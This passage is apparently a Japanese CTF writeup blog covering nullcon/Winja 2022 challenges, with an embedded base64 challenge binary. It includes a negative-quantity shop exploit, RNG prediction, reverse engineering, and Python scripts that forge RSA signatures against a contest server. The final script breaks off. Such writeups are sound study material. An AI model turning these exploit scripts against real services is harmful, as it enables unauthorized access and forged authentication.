AAAAAAAAAAAAAAADAA8AACBAAAAAAAAAAAAAAAAAAAAAAAADABAAzCNAAAAAAAAAAAAAAAAAAAAA
AAADABEAKCRAAAAAAAAAAAAAAAAAAAAAAAADABIAED5AAAAAAAAAAAAAAAAAAAAAAAADABMAGD5A
AAAAAAAAAAAAAAAAAAAAAAADABQAID5AAAAAAAAAAAAAAAAAAAAAAAADABUA8D9AAAAAAAAAAAAA
AAAAAAAAAAADABYAAEBAAAAAAAAAAAAAAAAAAAAAAAADABcAiEBAAAAAAAAAAAAAAAAAAAAAAAAD
ABgAoEBAAAAAAAAAAAAAAAAAAAAAAAADABkAAAAAAAAAAAAAAAAAAAAAAAEAAAAEAPH/AAAAAAAA
AAAAAAAAAAAAAAwAAAACAA0AUBFAAAAAAAAAAAAAAAAAAA4AAAACAA0AgBFAAAAAAAAAAAAAAAAA
ACEAAAACAA0AwBFAAAAAAAAAAAAAAAAAADcAAAABABgAqEBAAAAAAAABAAAAAAAAAEYAAAABABMA
GD5AAAAAAAAAAAAAAAAAAG0AAAACAA0A8BFAAAAAAAAAAAAAAAAAAHkAAAABABIAED5AAAAAAAAA
AAAAAAAAAJgAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAAEAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAJ8A
AAABABEApCVAAAAAAAAAAAAAAAAAAAAAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAK0AAAAAABIAGD5A
AAAAAAAAAAAAAAAAAL4AAAABABQAID5AAAAAAAAAAAAAAAAAAMcAAAAAABIAED5AAAAAAAAAAAAA
AAAAANoAAAAAABAAzCNAAAAAAAAAAAAAAAAAAO0AAAABABYAAEBAAAAAAAAAAAAAAAAAAAMBAAAS
AA0A4BtAAAAAAAABAAAAAAAAABMBAAASAAAAAAAAAAAAAAAAAAAAAAAAACgBAAARABgAoEBAAAAA
AAAIAAAAAAAAANgBAAAgABcAiEBAAAAAAAAAAAAAAAAAADwBAAASAAAAAAAAAAAAAAAAAAAAAAAA
AE4BAAAQABcAmUBAAAAAAAAAAAAAAAAAAFUBAAASAAAAAAAAAAAAAAAAAAAAAAAAAA0BAAASAg4A
5BtAAAAAAAAAAAAAAAAAAGkBAAASAAAAAAAAAAAAAAAAAAAAAAAAAH0BAAASAA0ATxdAAAAAAABW
AgAAAAAAAIQBAAASAAAAAAAAAAAAAAAAAAAAAAAAAJcBAAASAA0AZhpAAAAAAADBAAAAAAAAAKQB
AAASAAAAAAAAAAAAAAAAAAAAAAAAAMMBAAASAAAAAAAAAAAAAAAAAAAAAAAAANYBAAAQABcAiEBA
AAAAAAAAAAAAAAAAAOMBAAASAAAAAAAAAAAAAAAAAAAAAAAAAPgBAAASAAAAAAAAAAAAAAAAAAAA
AAAAAA0CAAAgAAAAAAAAAAAAAAAAAAAAAAAAABwCAAARAhcAkEBAAAAAAAAAAAAAAAAAACkCAAAR
AA8AACBAAAAAAAAEAAAAAAAAADgCAAASAAAAAAAAAAAAAAAAAAAAAAAAAEoCAAASAA0AgBtAAAAA
AABdAAAAAAAAAFoCAAASAAAAAAAAAAAAAAAAAAAAAAAAALkAAAAQABgAsEBAAAAAAAAAAAAAAAAA
AG4CAAASAg0AQBFAAAAAAAABAAAAAAAAANwBAAASAA0AEBFAAAAAAAArAAAAAAAAAIYCAAAQABgA
mUBAAAAAAAAAAAAAAAAAAJICAAASAA0AJxtAAAAAAABWAAAAAAAAAJcCAAASAAAAAAAAAAAAAAAA
AAAAAAAAAKoCAAARABcAmEBAAAAAAAABAAAAAAAAALACAAASAA0A8hFAAAAAAABdBQAAAAAAALcC
AAASAA0ApRlAAAAAAADBAAAAAAAAAMQCAAASAAAAAAAAAAAAAAAAAAAAAAAAANYCAAASAAAAAAAA
AAAAAAAAAAAAAAAAAOoCAAARAhcAoEBAAAAAAAAAAAAAAAAAAFQCAAASAgsAABBAAAAAAAAAAAAA
AAAAAMQBAAASAAAAAAAAAAAAAAAAAAAAAAAAAABjcnRzdHVmZi5jAGRlcmVnaXN0ZXJfdG1fY2xv
bmVzAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABjb21wbGV0ZWQuNzMyNQBfX2RvX2dsb2JhbF9kdG9y
c19hdXhfZmluaV9hcnJheV9lbnRyeQBmcmFtZV9kdW1teQBfX2ZyYW1lX2R1bW15X2luaXRfYXJy
YXlfZW50cnkAY2hhbC5jAF9fRlJBTUVfRU5EX18AX19pbml0X2FycmF5X2VuZABfRFlOQU1JQwBf
X2luaXRfYXJyYXlfc3RhcnQAX19HTlVfRUhfRlJBTUVfSERSAF9HTE9CQUxfT0ZGU0VUX1RBQkxF
XwBfX2xpYmNfY3N1X2ZpbmkAcHV0Y2hhckBAR0xJQkNfMi4yLjUAc3Rkb3V0QEBHTElCQ18yLjIu
NQBwdXRzQEBHTElCQ18yLjIuNQBfZWRhdGEAZmNsb3NlQEBHTElCQ18yLjIuNQBzeXN0ZW1AQEdM
SUJDXzIuMi41AExldmVsMgBmZ2V0Y0BAR0xJQkNfMi4yLjUAcHJpbnRfZmxhZ18yAF9fbGliY19z
dGFydF9tYWluQEBHTElCQ18yLjIuNQBzcmFuZEBAR0xJQkNfMi4yLjUAX19kYXRhX3N0YXJ0AGdl
dGNoYXJAQEdMSUJDXzIuMi41AGZwcmludGZAQEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAF9f
ZHNvX2hhbmRsZQBfSU9fc3RkaW5fdXNlZAB0aW1lQEBHTElCQ18yLjIuNQBfX2xpYmNfY3N1X2lu
aXQAZmZsdXNoQEBHTElCQ18yLjIuNQBfZGxfcmVsb2NhdGVfc3RhdGljX3BpZQBfX2Jzc19zdGFy
dABtYWluAGZvcGVuQEBHTElCQ18yLjIuNQBjb2lucwBMZXZlbDEAcHJpbnRfZmxhZ18xAGV4aXRA
QEdMSUJDXzIuMi41AGZ3cml0ZUBAR0xJQkNfMi4yLjUAX19UTUNfRU5EX18AAC5zeW10YWIALnN0
cnRhYgAuc2hzdHJ0YWIALmludGVycAAubm90ZS5BQkktdGFnAC5ub3RlLmdudS5idWlsZC1pZAAu
Z251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVs
YS5keW4ALnJlbGEucGx0AC5pbml0AC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAu
ZWhfZnJhbWUALmluaXRfYXJyYXkALmZpbmlfYXJyYXkALmR5bmFtaWMALmdvdAAuZ290LnBsdAAu
ZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAEAAAACAAAAAAAAAKgCQAAAAAAA
qAIAAAAAAAAcAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACMAAAAHAAAAAgAAAAAAAADE
AkAAAAAAAMQCAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAxAAAABwAAAAIA
AAAAAAAA5AJAAAAAAADkAgAAAAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAA
APb//28CAAAAAAAAAAgDQAAAAAAACAMAAAAAAAAkAAAAAAAAAAUAAAAAAAAACAAAAAAAAAAAAAAA
AAAAAE4AAAALAAAAAgAAAAAAAAAwA0AAAAAAADADAAAAAAAAsAEAAAAAAAAGAAAAAQAAAAgAAAAA
AAAAGAAAAAAAAABWAAAAAwAAAAIAAAAAAAAA4ARAAAAAAADgBAAAAAAAAJQAAAAAAAAAAAAAAAAA
AAABAAAAAAAAAAAAAAAAAAAAXgAAAP///28CAAAAAAAAAHQFQAAAAAAAdAUAAAAAAAAkAAAAAAAA
AAUAAAAAAAAAAgAAAAAAAAACAAAAAAAAAGsAAAD+//9vAgAAAAAAAACYBUAAAAAAAJgFAAAAAAAA
IAAAAAAAAAAGAAAAAQAAAAgAAAAAAAAAAAAAAAAAAAB6AAAABAAAAAIAAAAAAAAAuAVAAAAAAAC4
BQAAAAAAAEgAAAAAAAAABQAAAAAAAAAIAAAAAAAAABgAAAAAAAAAhAAAAAQAAABCAAAAAAAAAAAG
QAAAAAAAAAYAAAAAAABQAQAAAAAAAAUAAAAWAAAACAAAAAAAAAAYAAAAAAAAAI4AAAABAAAABgAA
AAAAAAAAEEAAAAAAAAAQAAAAAAAAFwAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACJAAAA
AQAAAAYAAAAAAAAAIBBAAAAAAAAgEAAAAAAAAPAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAA
AAAAlAAAAAEAAAAGAAAAAAAAABARQAAAAAAAEBEAAAAAAADRCgAAAAAAAAAAAAAAAAAAEAAAAAAA
AAAAAAAAAAAAAJoAAAABAAAABgAAAAAAAADkG0AAAAAAAOQbAAAAAAAACQAAAAAAAAAAAAAAAAAA
AAQAAAAAAAAAAAAAAAAAAACgAAAAAQAAAAIAAAAAAAAAACBAAAAAAAAAIAAAAAAAAMsDAAAAAAAA
AAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAqAAAAAEAAAACAAAAAAAAAMwjQAAAAAAAzCMAAAAAAABc
AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAALYAAAABAAAAAgAAAAAAAAAoJEAAAAAAACgk
AAAAAAAAgAEAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADAAAAADgAAAAMAAAAAAAAAED5A
AAAAAAAQLgAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAzAAAAA8AAAADAAAA
AAAAABg+QAAAAAAAGC4AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAANgAAAAG
AAAAAwAAAAAAAAAgPkAAAAAAACAuAAAAAAAA0AEAAAAAAAAGAAAAAAAAAAgAAAAAAAAAEAAAAAAA
AADhAAAAAQAAAAMAAAAAAAAA8D9AAAAAAADwLwAAAAAAABAAAAAAAAAAAAAAAAAAAAAIAAAAAAAA
AAgAAAAAAAAA5gAAAAEAAAADAAAAAAAAAABAQAAAAAAAADAAAAAAAACIAAAAAAAAAAAAAAAAAAAA
CAAAAAAAAAAIAAAAAAAAAO8AAAABAAAAAwAAAAAAAACIQEAAAAAAAIgwAAAAAAAAEQAAAAAAAAAA
AAAAAAAAAAgAAAAAAAAAAAAAAAAAAAD1AAAACAAAAAMAAAAAAAAAoEBAAAAAAACZMAAAAAAAABAA
AAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA+gAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAmTAA
AAAAAAAcAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAA
AAAAALgwAAAAAAAAgAcAAAAAAAAbAAAAKwAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAAAAAA
AAAAAAAAAAAAAAA4OAAAAAAAAPYCAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAEQAAAAMA
AAAAAAAAAAAAAAAAAAAAAAAALjsAAAAAAAADAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAA
AA==
Welcome to my Shop!
What would you like to do?
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
1
What would you like to buy?
1) An Apple (2 coins)
2) An Orange (6 coins)
3) The Key to the Flag (100 coins)
1
How many Apples would you like to buy?
1
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
2
What would you like to sell?
1) An Apple (1 coins)
2) An Orange (3 coins)
1
How many Apples would you like to sell?
1
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
1
What would you like to buy?
1) An Apple (2 coins)
2) An Orange (6 coins)
3) The Key to the Flag (100 coins)
1
How many Apples would you like to buy?
-
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
1
What would you like to buy?
1) An Apple (2 coins)
2) An Orange (6 coins)
3) The Key to the Flag (100 coins)
1
How many Apples would you like to buy?
-
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
1
What would you like to buy?
1) An Apple (2 coins)
2) An Orange (6 coins)
3) The Key to the Flag (100 coins)
1
How many Apples would you like to buy?
-
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
1
What would you like to buy?
1) An Apple (2 coins)
2) An Orange (6 coins)
3) The Key to the Flag (100 coins)
1
How many Apples would you like to buy?
-
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
1
What would you like to buy?
1) An Apple (2 coins)
2) An Orange (6 coins)
3) The Key to the Flag (100 coins)
1
How many Apples would you like to buy?
-
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
1
What would you like to buy?
1) An Apple (2 coins)
2) An Orange (6 coins)
3) The Key to the Flag (100 coins)
2
How many Oranges would you like to buy?
-
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
1
What would you like to buy?
1) An Apple (2 coins)
2) An Orange (6 coins)
3) The Key to the Flag (100 coins)
2
How many Oranges would you like to buy?
-
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
1
What would you like to buy?
1) An Apple (2 coins)
2) An Orange (6 coins)
3) The Key to the Flag (100 coins)
2
How many Oranges would you like to buy?
-
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
1
What would you like to buy?
1) An Apple (2 coins)
2) An Orange (6 coins)
3) The Key to the Flag (100 coins)
2
How many Oranges would you like to buy?
-
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
1
What would you like to buy?
1) An Apple (2 coins)
2) An Orange (6 coins)
3) The Key to the Flag (100 coins)
2
How many Oranges would you like to buy?
-
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
1
What would you like to buy?
1) An Apple (2 coins)
2) An Orange (6 coins)
3) The Key to the Flag (100 coins)
1
How many Apples would you like to buy?
5
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
1
What would you like to buy?
1) An Apple (2 coins)
2) An Orange (6 coins)
3) The Key to the Flag (100 coins)
3
How many Keys to the Flag would you like to buy?
1
1) Buy
2) Sell
3) View Your Inventory
4) Leave Shop
3
You have 19 gold coins!
You have -10 Apples!
You have -15 Oranges!
You have 1 Keys to the Flag!
Congrats!! You have the key!
flag{g00d_job_y0u_b3at_7he_sh0pk3eper}
Time: 1649479922
How much money do you want to bet?

ここで別ターミナルで乱数予測を実行する。

$ ./solve 1649479922
8
1
3
4

入力はEnterも1文字になってしまうので、以下の形式で指定する。

[掛け金][予測値1][掛け金][予測値2][掛け金][予測値3][掛け金][予測値4]

今回の場合は、以下のようになる。

98919394

元のターミナルに戻り入力する。

How much money do you want to bet?
98919394
What is the value? (0-9)
Correct!
How much money do you want to bet?
What is the value? (0-9)
Correct!
How much money do you want to bet?
What is the value? (0-9)
Correct!
How much money do you want to bet?
What is the value? (0-9)
Correct!
flag{w0w_you_can_pr3d1ct_th3_future?!?}
flag{w0w_you_can_pr3d1ct_th3_future?!?}

Self-Hosted Crypto (rev)

encryptedの各文字はASCIIコードで+13されていると推測できる。

#!/usr/bin/env python3
with open('encrypted', 'rb') as f:
    enc = f.read()

flag = ''
for c in enc:
    flag += chr(c - 13)
print(flag)
flag{A_b4d_Id34!1!}

Winja CTF | Nullcon Berlin 2022 Writeup

この大会は2022/4/9 7:00(JST)~2022/4/9 23:00(JST)に開催されました。
今回もチームで参戦。結果は627点で93チーム中40位でした。
自分で解けた問題をWriteupとして書いておきます。

Suárez (Miscellaneous)

pythonアセンブリからコードを起こし、実行する。

$ cat solve.py
new_flag = list(range(0, 54))

new_flag[34] = chr(57)
new_flag[50] = chr(120)
new_flag[47] = chr(53)
new_flag[5] = chr(53)
new_flag[9] = chr(98)
new_flag[26] = chr(49)
new_flag[20] = chr(57)
new_flag[0] = chr(102)
new_flag[53] = chr(125)
new_flag[49] = chr(95)
new_flag[33] = chr(57)
new_flag[2] = chr(97)
new_flag[27] = chr(55)
new_flag[7] = chr(50)
new_flag[24] = chr(97)
new_flag[15] = chr(49)
new_flag[6] = chr(52)
new_flag[36] = chr(57)
new_flag[28] = chr(100)
new_flag[12] = chr(97)
new_flag[35] = chr(98)
new_flag[25] = chr(97)
new_flag[8] = chr(52)
new_flag[19] = chr(49)
new_flag[40] = chr(36)
new_flag[30] = chr(53)
new_flag[1] = chr(108)
new_flag[3] = chr(103)
new_flag[17] = chr(57)
new_flag[14] = chr(101)
new_flag[21] = chr(56)
new_flag[32] = chr(53)
new_flag[4] = chr(123)
new_flag[22] = chr(99)
new_flag[31] = chr(97)
new_flag[41] = chr(95)
new_flag[23] = chr(53)
new_flag[10] = chr(48)
new_flag[44] = chr(95)
new_flag[42] = chr(73)
new_flag[18] = chr(52)
new_flag[16] = chr(97)
new_flag[46] = chr(64)
new_flag[48] = chr(121)
new_flag[37] = chr(95)
new_flag[13] = chr(48)
new_flag[52] = chr(82)
new_flag[11] = chr(49)
new_flag[38] = chr(119)
new_flag[39] = chr(65)
new_flag[45] = chr(101)
new_flag[29] = chr(101)
new_flag[43] = chr(55)
new_flag[51] = chr(48)

print(''.join(new_flag))
$ python3 solve.py
flag{5424b01a0e1a94198c5aa17de5a599b9_wA$_I7_e@5y_x0R}
flag{5424b01a0e1a94198c5aa17de5a599b9_wA$_I7_e@5y_x0R}

Mercedes Colmenar (Reverse Engineering 350)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  basic_ostream *pbVar1;
  char local_1d8 [65];
  undefined8 local_197;
  undefined local_18f;
  undefined4 local_18e;
  undefined2 local_18a;
  undefined local_188;
  undefined4 local_187;
  undefined2 local_183;
  undefined local_181;
  undefined8 local_180;
  char local_178 [38];
  undefined4 local_152;
  undefined2 local_14e;
  undefined4 local_14c;
  undefined2 local_148;
  undefined4 local_146;
  undefined2 local_142;
  undefined8 local_140;
  undefined4 local_138;
  undefined2 local_134;
  undefined8 local_132;
  undefined4 local_12a;
  undefined2 local_126;
  undefined local_124;
  undefined4 local_123;
  undefined2 local_11f;
  undefined4 local_11d;
  undefined local_119;
  char local_118 [268];
  int local_c;
  
  local_11d = 0x4548745f;
  local_119 = 0;
  local_123 = 0x345f5369;
  local_11f = 0x5f;
  local_12a = 0x63303939;
  local_126 = 0x6661;
  local_124 = 0;
  local_132 = 0x62376631643634;
  local_138 = 0x5f656854;
  local_134 = 0x33;
  local_140 = 0x31653062306261;
  local_146 = 0x664c4553;
  local_142 = 0x31;
  local_14c = 0x344f725f;
  local_148 = 0x44;
  local_152 = 0x305f646e;
  local_14e = 0x66;
  strcpy(local_178,(char *)&local_138);
  strcat(local_178,(char *)&local_152);
  std::operator<<((basic_ostream *)std::cout,"password: ");
  std::operator>>((basic_istream *)std::cin,local_118);
  strcat(local_178,(char *)&local_11d);
  strcat(local_178,(char *)&local_14c);
  local_c = strcmp(local_118,local_178);
  if (local_c == 0) {
    local_180 = 0x63636631386133;
    local_187 = 0x405f6835;
    local_183 = 0x7463;
    local_181 = 0;
    local_18e = 0x676e4576;
    local_18a = 0x5f65;
    local_188 = 0;
    local_197 = 0x45525f6563313063;
    local_18f = 0;
    strcpy(local_1d8,(char *)&local_180);
    strcat(local_1d8,(char *)&local_132);
    strcat(local_1d8,(char *)&local_12a);
    strcat(local_1d8,(char *)&local_140);
    strcat(local_1d8,(char *)&local_197);
    strcat(local_1d8,(char *)&local_18e);
    strcat(local_1d8,(char *)&local_123);
    strcat(local_1d8,(char *)&local_146);
    strcat(local_1d8,(char *)&local_187);
    banner();
    pbVar1 = std::operator<<((basic_ostream *)std::cout,"flag{");
    pbVar1 = std::operator<<(pbVar1,local_1d8);
    pbVar1 = std::operator<<(pbVar1,"} ");
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)pbVar1,
               std::endl<char,std::char_traits<char>>);
  }
  else {
    pbVar1 = (basic_ostream *)
             std::basic_ostream<char,std::char_traits<char>>::operator<<
                       ((basic_ostream<char,std::char_traits<char>> *)std::cout,
                        std::endl<char,std::char_traits<char>>);
    pbVar1 = std::operator<<(pbVar1,"Incorrect :( ");
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)pbVar1,
               std::endl<char,std::char_traits<char>>);
  }
  return 0;
}

passwordはlocal_178に連結した文字列と比較している。

>>> bytes.fromhex('5f656854')[::-1]
b'The_'
>>> bytes.fromhex('33')[::-1]
b'3'
>>> bytes.fromhex('305f646e')[::-1]
b'nd_0'
>>> bytes.fromhex('66')[::-1]
b'f'
>>> bytes.fromhex('4548745f')[::-1]
b'_tHE'
>>> bytes.fromhex('344f725f')[::-1]
b'_rO4'
>>> bytes.fromhex('44')[::-1]
b'D'
The_3nd_0f_tHE_rO4D
$ ./Mercedes_Colmenar 
password: The_3nd_0f_tHE_rO4D



░▒█▀▀▄░▒█▀▀▀░▒█░░░░▒█░░░░█▀▀▄░░░▒█▀▀▄░▀█▀░█▀▀▄░▒█▀▀▀█░░
░▒█▀▀▄░▒█▀▀▀░▒█░░░░▒█░░░▒█▄▄█░░░▒█░░░░▒█░▒█▄▄█░▒█░░▒█░░
░▒█▄▄█░▒█▄▄▄░▒█▄▄█░▒█▄▄█▒█░▒█░░░▒█▄▄▀░▄█▄▒█░▒█░▒█▄▄▄█░░


flag{3a81fcc46d1f7b990cafab0b0e1c01ce_REvEnge_iS_4_SELf15h_@ct}
flag{3a81fcc46d1f7b990cafab0b0e1c01ce_REvEnge_iS_4_SELf15h_@ct}

Manila (Forensics)

バイナリエディタで見ると、pngフォーマットが逆順で含まれているので、逆順にして抽出する。

#!/usr/bin/env python3
with open('Manila.pdf', 'rb') as f:
    data = f.read()

png = data[0x7c85:0xc502][::-1]

with open('flag.png', 'wb') as f:
    f.write(png)

抽出した画像にフラグが書いてあった。
f:id:satou-y:20220413130402p:plain

flag{f497dfa4fe524bdaa6d973453859df9a_You_f0UNd_7H3_undERCover_r0bber}

nullcon HackIM 2022 Writeup

この大会は2022/4/8 19:00(JST)~2022/4/9 19:00(JST)に開催されました。
今回もチームで参戦。結果は874点で368チーム中34位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (baby)

base64デコードする。

$ echo RU5Pe1dFTENPTUVfVE9fTlVMTENPTl9DVEZ9Cg== | base64 -d
ENO{WELCOME_TO_NULLCON_CTF}
ENO{WELCOME_TO_NULLCON_CTF}

cookie lover (cry)

サーバの処理概要は以下の通り。

・msg = 'I love cookies.'
・key: RSA秘密鍵
・以下繰り返し
 ・cmd: メニュー選択
 ・cmd[:2] == b'1:'の場合
  ・sign(cmd[2:])の結果を表示
   ・cmd[2:]にb'cookie'が含まれていたら、0を返す。
   ・cmd[2:]に各バイト文字のコードが32より小さいものがあったら、0を返す。
   ・pow(bytes_to_long(cmd[2:]), d, n)
 ・cmd[:2] == b'2:'の場合
  ・verify(int(cmd[2:].decode()))の結果を表示
   ・bytes_to_long(msg) == pow(int(cmd[2:].decode()), e, n)の場合、フラグを返す。

msgの数値化した値を素因数分解し、それぞれの値の復号値の掛け算をしたものがmsgの復号値になる。このことをスクリプトにして、フラグを取得する。

msgの数値 = 2 * 5 * 6673 * 189344417922901 * 30051184098398543

1バイトごとの数値が32より小さいものがないようにすることを考慮して、以下のように組み合わせる。

>>> '%x' % (2 * 5 * 6673 * 189344417922901)
'af585ed1634e6272'

>>> '%x' % 30051184098398543
'6ac3648943d14f'

msgの数値 = (2 * 5 * 6673 * 189344417922901) * 30051184098398543
#!/usr/bin/env python3
import socket
from Crypto.Util.number import *
from Crypto.PublicKey import RSA

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

msg = 'I love cookies.'
i_msg = bytes_to_long(msg.encode())
assert i_msg % 2 == 0

with open('pubkey.pem', 'r') as f:
    pub_pem = f.read()

pubkey = RSA.importKey(pub_pem)
n = pubkey.n

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('52.59.124.14', 10301))

i_msg1 = 2 * 5 * 6673 * 189344417922901
i_msg2 = 30051184098398543
assert i_msg == i_msg1 * i_msg2

msg1 = long_to_bytes(i_msg1)
msg2 = long_to_bytes(i_msg2)

data = recvuntil(s, b'check]\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

cmd1 = b'1:' + msg1
print(cmd1)
s.sendall(cmd1 + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
c1 = int(data)

data = recvuntil(s, b'check]\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

cmd2 = b'1:' + msg2
print(cmd2)
s.sendall(cmd2 + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
c2 = int(data)

data = recvuntil(s, b'check]\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

c = (c1 * c2) % n
cmd3 = b'2:' + str(c).encode()
print(cmd3)
s.sendall(cmd3 + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Choose an option:
1:[text to sign]
2:[number - signature to check]

b'1:\xafX^\xd1cNbr'
325690727908661499309661798673134746525549931298526474206266022934601444708113047135538801328273183297655028939045499865404394823941240366064657468406941255955543239155462791788307004634331285485892917231231535154491480414174110780962202278496000932209175962032151237886596020914761101015606206893177904134713327192496525522973087334386489302244577603477091685695503257531016400169510979360508202905327850786665513071465331459167490648236114913457458979699134001127868136528012905568773910174487093556652184961183575109149941636305890323261605585481820984155205006869910027003730275723789202922476747279116413984761934121175634970596086140934920675738310431675513690082442869526858283838789816550273821346287346247705433357168442589963315788300739505889843762042516200701415034107391026223313860185806426680409603345861645877984652881067094328071044764946477238165736269428785099544134006057946961512482428478101621396328497532118337656844687710248423996821791509608367788650054029785629740188415994398629373996648229976382156946666818287824516294737657584859221147520073523918224710415748442782455079832736893891124063604720331349499371222833636810873692673580690201751213383218525203673097913454100392088940949006666473385795391405
Choose an option:
1:[text to sign]
2:[number - signature to check]

b'1:j\xc3d\x89C\xd1O'
208198990457945937850609311949608176940012395585539332857257067088968427765226163105859687045659561311594400130540516324714817279401844231629262039240904353095416052352496624630113295859222371130952078485039577334384466107875635753028354946420390098694645736246658854182214672336881314799660743325422065712289502420823736493097608814506814256224506757621157275144001135782191054555391441361338471890537154199941992003533221046511955718140429145618768496493555842382918609047753848418895683548356612656999584272503410562983108698153938413445184343582536960274615998732804465232528115930925501201440604777047927165194658124970222970361692822147825046137833768228200005349167259989260725956184603808237558364594206141109794131971913136203898250335845941797424497471833855184786585773711086768133398324593827071277030767872613010460903209647660757178737420249612734974747196142519046313575163675183695056555150040849643757943916749567302853548309927504155366045862962743975056260881143894235457241631234157217478981887233851117304041174464144889252285820478077989914532082803208048645316784315822729581069884421571288419110534658097386516170522447330669376592657176021898629534711821414172468669721575071589053669414994342633548028257950
Choose an option:
1:[text to sign]
2:[number - signature to check]

b'2:183715238308397635712374225419373805798742055683226422934080084912571963507041250961583553698774247650805521395803139201549546155514498290541895722622526436040024047904660300222065763712351217474928376850784630905553758858190205688837414953457818339523500001823621579084464449491627975153761076059266019332369948606754941770662639776141799102648900815323489156665596632472281491282410300991241823300454592922461162611382496591490550609271962691628152420985917389235738904080699097528791626413835794266350039503418910923006851517224066201307979706970243349020918755341888204032054136258892397118667475213806953074733426062459693660535346560600965189675021611731714089952250296904007231831487782499114621964969534223196097402736888347041882248897823173621222165816190410685609663388419181176124525018049553548103350701273672763892456783772563315621245515637664525782066737220163193595126710707023308068862240772717620707827931707550917607230887757066852815460593413638711731996164882740050526557868528818690008964887793725631236051966033348445245363394748484485498232392925138253100412827331658375963317501552336516833908072999587184562493624756880635192816071931270468844048857769080593876604160303151379277321929506581398341475479232'
ENO{F4ct0r_and_Conqu3r!}
ENO{F4ct0r_and_Conqu3r!}

Magic words (cry)

サーバの処理概要は以下の通り。

・srand(time(0));
・12回以下を繰り返す。
 ・index: ランダム12未満数値
 ・targetにmagic_words[index]を結合
 ・targetに" "を結合
・targetに"egg -- give me the flag!"を結合
・targetを表示
・inputStr: 入力(1024バイト以下)
・n: 固定値(既知)
・signature: inputStrの数値
・m = pow(signature, 3, n)
・char* message = int_to_str(m); 
・strcmp(message, target) == 0の場合、フラグを表示

mの文字列化が\x00<任意>の形式になればよい。任意の長さが長いほど3乗の値を探しやすいので、\x00*256を後続に着け、3乗根を求める。

#!/usr/bin/env python3
import socket
import re
import gmpy2
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

n = 618017787734894212297412626251373685391953260761562256145235489725638613940584232503544382290786003502312209667905128601350448023284044287685001349014156076694914712630398005605673740514051697161500094865589407030636020089742702469018865286861672757837780829537694996694833864683805379159042221723723842387709902526369317372614408759564577441603426577837263761362135010436432956275299236838020581149454958441919492440492313018496438498099089383812883390835577605611991978206224568903757920872823293843687276713402767349404190867763874002307512458092607168715450826196573891917818134117192644486518276385456954928916750027466243826789735151096947239658610479195958319740857188397997117968901882796441973903340603204071299778964190138301428335590196310114790206400024512865068139543501059161433303153043130579702895687471084173256419199357102357728600646492441278405167508180066175830384059728198376079159561904247074846373084032155551839906550032001949969880315993549738076287202881585332049659570380033962200120029734918281696120171036422629762465758525540626266912510777059762980057239483211399081674862153728665111324068484754456207003656318475064950873727298779453666117120500091671142668282469471670064268176600698035510728754159

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('52.59.124.14', 10302))

data = recvuntil(s, b'number.\n').rstrip()
print(data)
pattern = b'"(.+)"'
